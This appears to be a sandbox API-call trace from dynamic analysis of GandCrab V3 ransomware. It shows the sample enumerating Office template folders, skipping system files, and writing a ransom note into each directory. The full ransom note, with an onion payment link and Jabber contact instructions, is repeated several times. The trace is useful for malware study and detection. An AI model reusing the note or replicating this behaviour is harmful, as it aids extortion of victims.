	[0113.120] WriteFile (in: hFile=0x3f8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x3149f54, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x3149f54*=0xcce, lpOverlapped=0x0) returned 1
	[0113.121] CloseHandle (hObject=0x3f8) returned 1
	[0113.121] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.121] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\") returned 73
	[0113.121] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\*"
	[0113.121] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\*", lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 0xda3fe0
	[0113.122] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0113.122] FindNextFileW (in: hFindFile=0xda3fe0, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0113.122] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0113.122] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0113.122] FindNextFileW (in: hFindFile=0xda3fe0, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0113.122] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0113.122] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0113.122] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\CRAB-DECRYPT.txt"
	[0113.122] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0113.122] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\CRAB-DECRYPT.txt") returned 89
	[0113.122] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\CRAB-DECRYPT.txt") returned 89
	[0113.122] lstrlenW (lpString=".txt") returned 4
	[0113.122] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0113.122] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0113.122] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.123] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\CRAB-DECRYPT.txt") returned 89
	[0113.123] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\CRAB-DECRYPT.txt") returned 89
	[0113.123] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0113.123] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0113.123] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0113.123] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0113.123] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0113.123] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0113.123] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0113.123] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0113.123] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0113.123] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.123] FindNextFileW (in: hFindFile=0xda3fe0, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0113.123] lstrcmpW (lpString1="Managed", lpString2=".") returned 1
	[0113.123] lstrcmpW (lpString1="Managed", lpString2="..") returned 1
	[0113.123] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\", lpString2="Managed" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed"
	[0113.123] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\"
	[0113.123] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0113.124] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0113.124] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0113.124] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0113.124] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0113.124] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.124] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x31494c8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0113.124] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0113.124] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0113.124] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3148cb0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0113.124] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0113.124] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0113.124] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0113.124] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\\\CRAB-DECRYPT.txt") returned 98
	[0113.124] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0113.126] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0113.126] WriteFile (in: hFile=0x3e0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x31494ac, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x31494ac*=0xcce, lpOverlapped=0x0) returned 1
	[0113.127] CloseHandle (hObject=0x3e0) returned 1
	[0113.127] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.127] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\") returned 81
	[0113.127] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\*"
	[0113.127] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\*", lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 0xda3f60
	[0113.128] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0113.128] FindNextFileW (in: hFindFile=0xda3f60, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0113.128] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0113.128] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0113.128] FindNextFileW (in: hFindFile=0xda3f60, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0113.128] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0113.128] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0113.128] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\CRAB-DECRYPT.txt"
	[0113.128] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0113.128] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\CRAB-DECRYPT.txt") returned 97
	[0113.128] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\CRAB-DECRYPT.txt") returned 97
	[0113.128] lstrlenW (lpString=".txt") returned 4
	[0113.128] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0113.129] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0113.129] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.129] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\CRAB-DECRYPT.txt") returned 97
	[0113.129] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\CRAB-DECRYPT.txt") returned 97
	[0113.129] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0113.129] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0113.129] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0113.129] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0113.129] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0113.129] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0113.129] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0113.129] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0113.129] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0113.129] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.129] FindNextFileW (in: hFindFile=0xda3f60, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0113.129] lstrcmpW (lpString1="Document Themes", lpString2=".") returned 1
	[0113.130] lstrcmpW (lpString1="Document Themes", lpString2="..") returned 1
	[0113.130] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\", lpString2="Document Themes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes"
	[0113.130] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\"
	[0113.130] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0113.130] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0113.130] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0113.130] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0113.130] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0113.130] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.130] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3148a20, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0113.130] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0113.130] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0113.130] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3148208, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0113.130] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0113.130] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0113.131] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0113.131] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\\\CRAB-DECRYPT.txt") returned 114
	[0113.131] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8
	[0113.132] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0113.132] WriteFile (in: hFile=0x3d8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x3148a04, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x3148a04*=0xcce, lpOverlapped=0x0) returned 1
	[0113.133] CloseHandle (hObject=0x3d8) returned 1
	[0113.133] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.133] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\") returned 97
	[0113.133] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\*"
	[0113.134] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\*", lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 0xda3f20
	[0113.134] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0113.134] FindNextFileW (in: hFindFile=0xda3f20, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 1
	[0113.134] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0113.134] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0113.134] FindNextFileW (in: hFindFile=0xda3f20, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 1
	[0113.134] lstrcmpW (lpString1="1033", lpString2=".") returned 1
	[0113.134] lstrcmpW (lpString1="1033", lpString2="..") returned 1
	[0113.134] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\", lpString2="1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033"
	[0113.134] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\"
	[0113.134] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0113.134] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0113.134] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0113.134] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0113.134] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0113.134] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.135] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3147f78, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0113.135] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0113.135] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0113.135] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3147760, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0113.135] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0113.135] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0113.135] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0113.135] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\\\CRAB-DECRYPT.txt") returned 119
	[0113.135] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3dc
	[0113.150] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0113.150] WriteFile (in: hFile=0x3dc, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x3147f5c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x3147f5c*=0xcce, lpOverlapped=0x0) returned 1
	[0113.151] CloseHandle (hObject=0x3dc) returned 1
	[0113.151] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.151] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned 102
